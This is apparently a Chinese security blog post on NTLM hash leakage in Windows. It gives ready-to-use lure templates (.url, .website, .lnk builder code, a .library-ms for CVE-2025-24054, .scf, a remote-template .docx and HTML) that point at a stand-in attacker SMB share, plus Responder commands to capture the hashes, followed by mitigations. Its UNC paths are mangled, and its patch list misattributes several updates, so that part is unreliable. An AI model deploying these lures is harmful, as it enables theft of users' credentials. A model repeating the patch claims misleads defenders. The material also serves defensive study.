NTLM hash泄露

NTLM hash泄露

NTLM 哈希泄露是 Windows 系统中一个长期存在的安全问题,当用户在打开特定类型的文件所在的目录或者打开该文件时(如 .url.website.lnk.library-ms.scf.docx.html)时,可能会在后台向攻击者控制的服务器发送认证请求,从而泄露 NTLM 凭据。

一、 可能导致 NTLM 哈希泄露的文件类型

1、.url 文件:快捷方式文件,可能被构造为指向攻击者控制的 SMB 服务器。双击打开 .url 文件或将其放置在桌面等自动解析图标的目录中。Windows 系统尝试加载图标,从而连接攻击者的 SMB 服务,触发认证。

[InternetShortcut]
URL=file://\attacker-ipshare/
IconFile=\attacker-ipshareicon.ico
IconIndex=1

2、.website 文件:类似于 .url,用于固定到任务栏或开始菜单的快捷方式。同样是用户打开包含该文件的快捷方式就会触发NTLM验证请求。

[InternetShortcut]
URL=file://\attacker-ipshare/
IconFile=\attacker-ipshareicon.ico
IconIndex=1

3、.lnk 文件:Windows 快捷方式文件,多见于图标设置为指向远程UNC路径,放在桌面或者文件夹,资源管理器尝试加载图标时触发NTLM认证请求。

from pathlib import Path
import pythoncom
from win32com.shell import shell

attacker_smb = r"\attacker-ipshare"
lnk_path = output_dir / "payload.lnk"
pythoncom.CoInitialize()
shell_link = pythoncom.CoCreateInstance(
    shell.CLSID_ShellLink, None,
    pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink
)
shell_link.SetPath(fr"{attacker_smb}	est.txt")
shell_link.SetIconLocation(fr"{attacker_smb}icon.ico", 0)
persist = shell_link.QueryInterface(pythoncom.IID_IPersistFile)
persist.Save(str(lnk_path.resolve()), True)
pythoncom.CoUninitialize()

4、.library-ms 文件:Windows 库定义文件,用于表示一个库包含哪些文件夹和搜索连接等。CVE-2025-24054 漏洞可实现在用户解压包含该文件的压缩包或者打开包含该文件的目录时,触发对远程UNC路径的访问,导致NTLM hash泄露。该漏洞构造的文件如下:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
    <searchConnectorDescriptionList>
        <searchConnectorDescription>
            <simpleLocation>
                <url>\attacker-ipshare</url>
            </simpleLocation>
        </searchConnectorDescription>
    </searchConnectorDescriptionList>
</libraryDescription>

5、.scf 文件:“WINDOWS 资源管理器命令” 文件,它是一种可执行文件,由Windows Explorer Command 解释。这种文件可以用于执行一些特定的操作,例如显示桌面或者打开资源管理器。打开包含该文件的目录时,同样会尝试加载图标文件,触发NTLM认证请求。

[Shell]
Command=2
IconFile=\attacker-ipshare
[Taskbar]
Command=ToggleDesktop

6、office文档文件 如.docx等

操作步骤如下:

利用word文档的远程模板加载功能,打开word 新建,随便选择一个模板创建文档,然后保存后修改文件后缀为zip,修改word/_rels/settings.xml.rels,修改Target为 “\attacker-ipshare est.dotm”。

随后重新压缩为zip文件,压缩选项选择存储,不然生成的docx文件会报错,zip更改后缀为docx。

当用户打开该 .docx 文件时,Word 会尝试自动加载远程模板,触发 NTLM 认证请求。

8、网页文件、如HTML

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <img src="\attacker-ipshare1.jpg">

</head>
<body>
    
</body>
</html>

网页被打开时,自动触发NTLM 认证请求。

二、捕获测试

测试环境,用kali 安装了Responder进行监听。

git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -I eth0

三、安全防护

1、更新安全补丁

微软已发布多项安全更新,旨在缓解通过上述文件类型泄露 NTLM 哈希的问题。

MS16-014:修复了 Windows 中处理 .library-ms 文件时可能导致 NTLM 哈希泄露的漏洞。
MS17-010:修复了多个 SMB 协议相关的漏洞,间接减少了 NTLM 哈希泄露的风险。
KB4012212:增强了对 .scf 文件的处理,防止其自动触发对远程资源的访问。
windows默认更新:从 Windows 10 1703(Creators Update)及以后版本开始,Microsoft 修改了资源管理器对 .scf 文件的行为,Explorer 不再自动解析或渲染 .scf 中的 IconFile 路径。

这些补丁适用于 Windows 7、Windows 8.1、Windows 10 以及相应的服务器版本。

2、配置安全策略

除了应用最新的安全补丁,建议采取以下措施进一步减少 NTLM 哈希泄露的风险:

禁用 NTLM:在可能的情况下,禁用 NTLM,转而使用更安全的 Kerberos 认证协议。
配置防火墙规则:阻止对外部 SMB 端口(如 445)的访问,防止凭据被发送到外部服务器。
不自动解析远程图标:修改注册表或组策略禁止解析 .lnk.scf 等图标路径
启用 SMB 签名: 防止 NTLM 中继攻击

通过结合应用安全补丁和配置安全策略,可以有效降低 NTLM 哈希泄露的风险。

© 版权声明
THE END
如果内容对您有所帮助,就支持一下吧!
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容